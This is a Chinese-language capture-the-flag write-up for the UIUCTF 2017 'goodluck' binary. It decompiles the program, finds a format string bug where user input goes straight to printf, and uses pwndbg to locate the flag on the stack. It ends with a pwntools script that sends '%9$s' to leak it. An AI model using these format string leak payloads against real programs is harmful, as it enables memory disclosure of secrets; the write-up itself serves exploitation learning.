

# UIUCTF 2017 goodluck

## 题目描述

64位ELF文件

```
ams@ubuntu:~/ws/ctf/UIUCTF 2017 goodluck$ checksec goodluck
[*] '/home/ams/ws/ctf/UIUCTF 2017 goodluck/goodluck'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

运行

```
ams@ubuntu:~/ws/ctf/UIUCTF 2017 goodluck$ ./goodluck
what's the flag
flag{}
You answered:
flag{}
But that was totally wrong lol get rekt
```

要求输入flag。

## 解题

IDA反编译

```

1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char v4; // [rsp+3h] [rbp-3Dh]
4     int i; // [rsp+4h] [rbp-3Ch]
5     int j; // [rsp+4h] [rbp-3Ch]
6     char *format; // [rsp+8h] [rbp-38h] BYREF
7     _IO_FILE *fp; // [rsp+10h] [rbp-30h]
8     char *v9; // [rsp+18h] [rbp-28h]
9     char v10[24]; // [rsp+20h] [rbp-20h] BYREF
10    unsigned __int64 v11; // [rsp+38h] [rbp-8h]
11
12    v11 = __readfsqword(0x28u);
13    fp = fopen("flag.txt", "r");
14    for ( i = 0; i ≤ 21; ++i )
15        v10[i] = _IO_getc(fp);
16    fclose(fp);
17    v9 = v10;
18    puts("what's the flag");
19    fflush(_bss_start);
20    format = 0LL;
21    __isoc99_scanf("%ms", &format);
22    for ( j = 0; j ≤ 21; ++j )
23    {
24        v4 = format[j];
25        if ( !v4 || v10[j] ≠ v4 )
26        {
27            puts("You answered:");
28            printf(format);
29            puts("\nBut that was totally wrong lol get rekt");
30            fflush(_bss_start);
31            return 0;
32        }
33    }
34    printf("That's right, the flag is %s\n", v9);
35    fflush(_bss_start);
36    return 0;
37}

```

可以看出明显的格式化字符串漏洞。并且 `flag` 存储在变量 `v9`，那么可以通过格式化字符串漏洞泄露栈上 `v9` 的内容从而得到 `flag`。

```

> 0x40088b <main+229>    call    printf@plt <printf@plt>
                        format: 0x602830 ← 'aaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
                        vararg: 0x602010 ← 'You answered:\ng\n'

0x400890 <main+234>    mov     edi, 0x4009b8
0x400895 <main+239>    call    puts@plt <puts@plt>

0x40089a <main+244>    mov     rax, qword ptr [rip + 0x2007cf] <0x601070>
0x4008a1 <main+251>    mov     rdi, rax
0x4008a4 <main+254>    call    fflush@plt <fflush@plt>

0x4008a9 <main+259>    mov     eax, 0
0x4008ae <main+264>    jmp     main+318 <main+318>

0x4008b0 <main+266>    add     dword ptr [rbp - 0x3c], 1
0x4008b4 <main+270>    cmp     dword ptr [rbp - 0x3c], 0x15
0x4008b8 <main+274>    jle     main+168 <main+168>

[ STACK ]
00:0000 rsp 0x7fffffff2a0 ← 0x61000001
01:0000 0x7fffffff2a8 → 0x602830 ← 'aaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
02:0010 0x7fffffff2b0 → 0x602010 ← 'You answered:\ng\n'
03:0018 0x7fffffff2b8 → 0x7fffffff2c0 ← 0x6968747b67616c66 ('flag{thi}')
04:0020 0x7fffffff2c0 ← 0x6968747b67616c66 ('flag{thi}')
05:0028 0x7fffffff2c8 ← 0x665f615f73695f73 ('s_is_a_f')
06:0030 0x7fffffff2d0 ← 0xff0a7d67616c
07:0038 0x7fffffff2d8 ← 0xbe7230df8e154500

[ BACKTRACE ]
> f 0      40088b main+229
> f 1      7ffff7a2d840 __libc_start_main+240

pwndbg> c
Continuing.
aaaaaaa.0x602010.0x7ffff7dd3780.0x7ffff7b04380.0x7ffff7fd9700.0x7ffff7fd9701.0x61000001.0x602830.0x602010.0x7fffffff2c0.0x6968747b67616c66.
0x665f615f73695f73
But that was totally wrong lol get rekt
[Inferior 1 (process 3877) exited normally]
pwndbg>

```

调试发现 `0x7fffffff2c0` 正式 `flag` 字符串的地址，并且其处于 `printf` 的第9个参数，故可用 `%9$s` 来泄露 `flag`。

## Exploit

Python

```

1 from pwn import *
2
3 p = process('./goodluck')
4 payload = '%9$s'
5 p.sendlineafter('flag',payload)
6 p.interactive()

```

```

ams@ubuntu:~/ws/ctf/UIUCTF 2017 goodluck$ python exp.py
[+] Starting local process './goodluck': pid 3938
[*] Switching to interactive mode

[*] Process './goodluck' stopped with exit code 0 (pid 3938)
You answered:
flag{this_is_a_flag}
\xff
But that was totally wrong lol get rekt
[*] Got EOF while reading in interactive
$

```

